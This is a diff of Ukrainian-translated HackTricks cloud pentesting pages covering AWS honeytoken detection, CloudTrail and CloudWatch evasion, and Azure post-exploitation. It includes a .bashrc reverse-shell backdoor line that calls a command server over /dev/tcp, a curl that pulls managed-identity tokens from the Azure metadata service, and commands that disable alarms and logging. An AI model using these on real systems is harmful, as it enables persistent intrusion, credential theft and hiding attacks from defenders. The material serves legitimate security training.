[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
-- Якщо **`canarytokens.org`** з'являється в імені ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку.
-- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в імені.
-- Якщо **`SpaceCrab`** з'являється в імені ролі в повідомленні про помилку.
+- Якщо **`canarytokens.org`** з'являється в назві ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку.
+- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в назві.
+- Якщо **`SpaceCrab`** з'являється в назві ролі в повідомленні про помилку.
- **SpaceSiren** використовує **uuid** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Якщо **ім'я виглядає як випадково згенероване**, є висока ймовірність, що це HoneyToken.
@@ -189,11 +189,11 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**.
-#### AWS сервіси без журналів
+#### Служби AWS без журналів
-У минулому існували деякі **AWS сервіси, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих сервісів **відповідають** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ.
+У минулому існували деякі **служби AWS, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ.
-Таким чином, **зловмисник може отримати ARN ключа, не викликаючи жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатори облікових записів компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
+Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікового запису та імена компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
.png>)
@@ -204,7 +204,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
### Доступ до третьої інфраструктури
-Деякі сервіси AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **Kubernetes** кластери (EKS). Користувач, **який безпосередньо спілкується з цими сервісами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію.
+Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **кластери Kubernetes** (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію.
Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і **спілкуватися з API-сервісом без виявлення Cloudtrail**.
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-У першому прикладі одиничний селектор подій надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
+У першому прикладі одиничний селектор події надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.
@@ -256,7 +256,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration
#### Ransomware S3
Ви можете **згенерувати асиметричний ключ** і змусити **CloudTrail зашифрувати дані** цим ключем і **видалити приватний ключ**, щоб вміст CloudTrail не можна було відновити.\
-Це, по суті, **S3-KMS ransomware**, пояснене в:
+Це в основному **S3-KMS ransomware**, пояснене в:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 81e3f3476..70b29d714 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -11,7 +11,7 @@
Ви можете моніторити, наприклад, журнали з CloudTrail. Події, які моніторяться:
- Зміни в групах безпеки та NACL
-- Запуск, зупинка, перезавантаження та завершення роботи EC2 екземплярів
+- Запуск, зупинка, перезавантаження та завершення роботи EC2 інстансів
- Зміни в політиках безпеки в IAM та S3
- Невдалі спроби входу до консолі управління AWS
- Виклики API, які призвели до невдалої авторизації
@@ -27,7 +27,7 @@
### Метрики
-Метрики - це точки даних, зібрані з часом, які представляють продуктивність або використання ресурсів AWS. Метрики можуть бути зібрані з сервісів AWS, користувацьких додатків або інтеграцій сторонніх розробників.
+Метрики - це дані, зібрані з часом, які представляють продуктивність або використання ресурсів AWS. Метрики можуть бути зібрані з сервісів AWS, користувацьких додатків або інтеграцій сторонніх розробників.
- **Приклад**: CPUUtilization, NetworkIn, DiskReadOps.
@@ -35,13 +35,13 @@
Виміри - це пари ключ-значення, які є частиною метрик. Вони допомагають унікально ідентифікувати метрику та надають додатковий контекст, при цьому 30 - це максимальна кількість вимірів, які можуть бути асоційовані з метрикою. Виміри також дозволяють фільтрувати та агрегувати метрики на основі конкретних атрибутів.
-- **Приклад**: Для екземплярів EC2 виміри можуть включати InstanceId, InstanceType та AvailabilityZone.
+- **Приклад**: Для EC2 інстансів виміри можуть включати InstanceId, InstanceType та AvailabilityZone.
### Статистика
Статистика - це математичні обчислення, виконані над даними метрик для їх узагальнення з часом. Загальні статистики включають Середнє, Суму, Мінімум, Максимум та Кількість зразків.
-- **Приклад**: Обчислення середнього використання ЦП за період в одну годину.
+- **Приклад**: Обчислення середнього використання CPU за період в одну годину.
### Одиниці
@@ -51,9 +51,9 @@
## Функції CloudWatch
-### Панель приладів
+### Панель
-**Панелі приладів CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS.
+**Панелі CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS.
**Ключові функції**:
@@ -62,18 +62,18 @@
**Приклад використання**:
-- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи екземпляри EC2, бази даних RDS та кошики S3.
+- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи EC2 інстанси, бази даних RDS та S3 контейнери.
### Потік метрик та дані метрик
**Потоки метрик** в AWS CloudWatch дозволяють вам безперервно передавати метрики CloudWatch до обраного вами місця призначення в майже реальному часі. Це особливо корисно для розширеного моніторингу, аналітики та користувацьких панелей, використовуючи інструменти поза AWS.
-**Дані метрик** всередині потоків метрик відносяться до фактичних вимірювань або точок даних, які передаються. Ці точки даних представляють різні метрики, такі як використання ЦП, використання пам'яті тощо, для ресурсів AWS.
+**Дані метрик** всередині Потоків метрик відносяться до фактичних вимірювань або даних, які передаються. Ці дані представляють різні метрики, такі як використання CPU, використання пам'яті тощо, для ресурсів AWS.
**Приклад використання**:
-- Надсилання метрик в реальному часі до служби моніторингу третьої сторони для розширеного аналізу.
-- Архівування метрик у кошику Amazon S3 для довгострокового зберігання та відповідності.
+- Надсилання реальних метрик до стороннього сервісу моніторингу для розширеного аналізу.
+- Архівування метрик у контейнері Amazon S3 для довгострокового зберігання та відповідності.
### Алерт
@@ -83,12 +83,12 @@
- **Поріг**: Значення, при якому спрацьовує алерт.
- **Періоди оцінки**: Кількість періодів, протягом яких дані оцінюються.
-- **Точки даних для алерту**: Кількість періодів з досягнутим порогом, необхідна для спрацьовування алерту.
+- **Дані для алерту**: Кількість періодів з досягнутим порогом, необхідна для активації алерту.
- **Дії**: Що відбувається, коли спрацьовує стан алерту (наприклад, сповіщення через SNS).
**Приклад використання**:
-- Моніторинг використання ЦП екземпляра EC2 та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин.
+- Моніторинг використання CPU EC2 інстанса та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин.
### Виявлення аномалій
@@ -101,41 +101,41 @@
**Приклад використання**:
-- Виявлення незвичайних патернів використання ЦП в екземплярі EC2, які можуть вказувати на порушення безпеки або проблему з додатком.
+- Виявлення незвичних патернів використання CPU в EC2 інстансі, які можуть вказувати на порушення безпеки або проблему з додатком.
### Правила інсайту та керовані правила інсайту
-**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичайну поведінку у продуктивності та використанні ваших ресурсів.
+**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичну поведінку у продуктивності та використанні ваших ресурсів.
**Керовані правила інсайту** - це попередньо налаштовані **правила інсайту, надані AWS**. Вони призначені для моніторингу конкретних сервісів AWS або загальних випадків використання та можуть бути активовані без необхідності детальної конфігурації.
**Приклад використання**:
-- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може спровокувати сповіщення або автоматизовану дію з пом'якшення.
+- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання CPU, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення.
### Журнали CloudWatch
Дозволяє **агрегувати та моніторити журнали з додатків** та систем з **сервісів AWS** (включаючи CloudTrail) та **з додатків/систем** (**CloudWatch Agent** може бути встановлений на хост). Журнали можуть **зберігатися безстроково** (залежно від налаштувань групи журналів) і можуть бути експортовані.
**Елементи**:
-
-| **Група журналів** | **Збірка потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу |
-| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Потік журналів** | Послідовність **журнальних подій**, які мають **одне джерело** |
-| **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda |
+| Термін | Визначення |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Група журналів** | **Збірка потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу |
+| **Потік журналів** | Послідовність **журнальних подій**, які мають **одне джерело** |
+| **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda |
### Моніторинг та події CloudWatch
-CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів** на випадок, якщо потрібно спровокувати один.\
+CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів**, щоб визначити, чи потрібно активувати один.\
У цьому випадку CloudWatch може бути готовий надіслати подію та виконати деякі автоматичні дії (функції AWS lambda, теми SNS, черги SQS, потоки Kinesis)
### Встановлення агента
Ви можете встановити агентів всередині своїх машин/контейнерів, щоб автоматично надсилати журнали назад до CloudWatch.
-- **Створіть** **роль** та **прикріпіть** її до **екземпляра** з дозволами, що дозволяють CloudWatch збирати дані з екземплярів, крім взаємодії з менеджером систем AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
-- **Завантажте** та **встановіть** **агент** на екземпляр EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS System Manager, вибравши пакет AWS-ConfigureAWSPackage
-- **Налаштуйте** та **запустіть** агент CloudWatch
+- **Створіть** **роль** та **прикріпіть** її до **інстанса** з дозволами, що дозволяють CloudWatch збирати дані з інстансів, а також взаємодіяти з AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **Завантажте** та **встановіть** **агент** на EC2 інстанс ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS Systems Manager, вибравши пакет AWS-ConfigureAWSPackage
+- **Налаштуйте** та **запустіть** CloudWatch Agent
Група журналів має багато потоків. Потік має багато подій. І всередині кожного потоку події гарантовано будуть в порядку.
@@ -212,22 +212,22 @@ aws events describe-event-source --name aws events list-replays
aws events list-api-destinations
aws events list-event-buses
```
-## Пост-експлуатація / Обхід
+## Post-Exploitation / Bypass
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-Зловмисник з цими правами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або операційні збої. Крім того, створюючи або змінюючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти.
+Зловмисник з цими дозволами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або збої в роботі. Крім того, створюючи або модифікуючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти.
-Крім того, з правом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл або петлю складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити.
+Крім того, з дозволом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити.
```bash
aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ]
aws cloudwatch delete-alarms --alarm-names
aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ]
```
-Наступний приклад показує, як зробити метрику тривоги неефективною:
+Наступний приклад показує, як зробити метрику сигналізації неефективною:
-- Ця метрика тривоги моніторить середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, тривога спрацює і надішле сповіщення на вказану тему SNS.
-- Змінивши поріг на більше ніж 99%, встановивши період на 10 секунд, періоди оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнює 1 дню), і точки даних для тривоги на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацювала тривога.
+- Ця метрика сигналізації контролює середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, сигналізація спрацює і надішле сповіщення на вказану тему SNS.
+- Змінивши поріг на більше ніж 99%, встановивши період на 10 секунд, періоди оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнюють 1 дню), і точки даних для сигналізації на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацювала сигналізація.
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
```
{{#endtab }}
-{{#tab name="Модифікований сигнал тривоги" }}
+{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -283,7 +283,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
-Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або запуск автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти.
+Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або ініціювання автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти.
Крім того, зловмисник з відповідними правами може маніпулювати станами тривоги, маючи можливість створювати хибні тривоги, щоб відволікати і плутати адміністраторів, або приглушувати справжні тривоги, щоб приховати триваючі шкідливі дії або критичні збої системи.
@@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про будь-які релевантні дані протягом цього періоду.
+Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про жодні релевантні дані протягом цього періоду.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace
aws cloudwatch put-dashboard --dashboard-name --dashboard-body
@@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
-Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди.
+Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критичні можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди.
```bash
aws cloudwatch delete-insight-rules --rule-names
aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ]
@@ -374,18 +374,18 @@ aws cloudwatch put-managed-insight-rules --managed-rules
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
-Вимкнувши критично важливі правила інсайтів, зловмисник може ефективно осліпити організацію щодо ключових показників продуктивності та безпеки. Навпаки, увімкнувши або налаштувавши оманливі правила, можна створити хибні дані, створити шум або приховати злочинну діяльність.
+Вимкнувши критично важливі правила моніторингу, зловмисник може ефективно осліпити організацію щодо ключових показників продуктивності та безпеки. Навпаки, увімкнувши або налаштувавши оманливі правила, можна створити хибні дані, створити шум або приховати злочинну діяльність.
```bash
aws cloudwatch disable-insight-rules --rule-names
aws cloudwatch enable-insight-rules --rule-names
```
-**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримки у відповідях на реальні проблеми та непотрібних дій на основі хибних сповіщень.
+**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримок у реагуванні на реальні проблеми та непотрібних дій на основі хибних сповіщень.
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
Зловмисник з правами **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** зможе створювати та видаляти потоки даних метрик, що компрометує безпеку, моніторинг та цілісність даних:
-- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць.
+- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць призначення.
- **Маніпуляція ресурсами**: Створення нових потоків метрик з надмірними даними може створити багато шуму, викликаючи неправильні сповіщення, маскуючи справжні проблеми.
- **Порушення моніторингу**: Видаляючи потоки метрик, зловмисники порушать безперервний потік моніторингових даних. Таким чином, їхні шкідливі дії будуть ефективно приховані.
@@ -417,7 +417,7 @@ aws cloudwatch start-metric-streams --names
aws cloudwatch tag-resource --resource-arn --tags
aws cloudwatch untag-resource --resource-arn --tag-keys
```
-**Потенційний вплив**: Порушення політик доступу на основі тегів.
+**Потенційний вплив**: Порушення політик контролю доступу на основі тегів.
## Посилання
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index b1a2a71e2..1cf44e761 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -7,24 +7,16 @@
Azure Cloud Shell пропонує доступ до командного рядка для управління ресурсами Azure з постійним зберіганням та автоматичною аутентифікацією. Зловмисники можуть скористатися цим, розміщуючи бекдори в постійній домашній директорії:
* **Постійне Зберігання**: Домашня директорія Azure Cloud Shell монтується на спільному файлі Azure і залишається незмінною навіть після завершення сеансу.
-* **Скрипти Запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє для постійного виконання, коли запускається cloud shell.
+* **Скрипти Запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє для постійного виконання при запуску хмарного терміналу.
Приклад бекдору в .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
-
-Ця задня дверцята може виконувати команди навіть через 5 хвилин після завершення роботи користувача в хмарній оболонці.
+Ця задня дверцята може виконувати команди навіть через 5 хвилин після того, як користувач закінчив роботу з хмарною оболонкою.
Додатково запитуйте службу метаданих Azure для отримання деталей екземпляра та токенів:
-{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index aee26d3d9..6c8af3a76 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,7 +10,7 @@
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Принципал з цим дозволом зможе **переглядати** блоби (файли) всередині контейнера та **завантажувати** файли, які можуть містити **чутливу інформацію**.
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Принципал з цим дозволом зможе **записувати та перезаписувати файли в контейнерах**, що може дозволити йому завдати шкоди або навіть ескалувати привілеї (наприклад, перезаписати деякий код, збережений у блоці):
```bash
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index 8fd9ef4bd..efb994ca4 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -5,27 +5,21 @@
## CosmosDB Пост Експлуатація
Для отримання додаткової інформації про SQL Database перегляньте:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
З цією дозволом ви можете створювати або оновлювати облікові записи Azure Cosmos DB. Це включає зміну налаштувань на рівні облікового запису, додавання або видалення регіонів, зміну рівнів узгодженості та увімкнення або вимкнення функцій, таких як записи в кількох регіонах.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
З цією дозволом ви можете створювати або змінювати контейнери (колекції) в SQL базі даних облікового запису Azure Cosmos DB. Контейнери використовуються для зберігання даних, і зміни в них можуть вплинути на структуру бази даних та шаблони доступу.
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
-З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних та додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
+З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних і додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей.
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
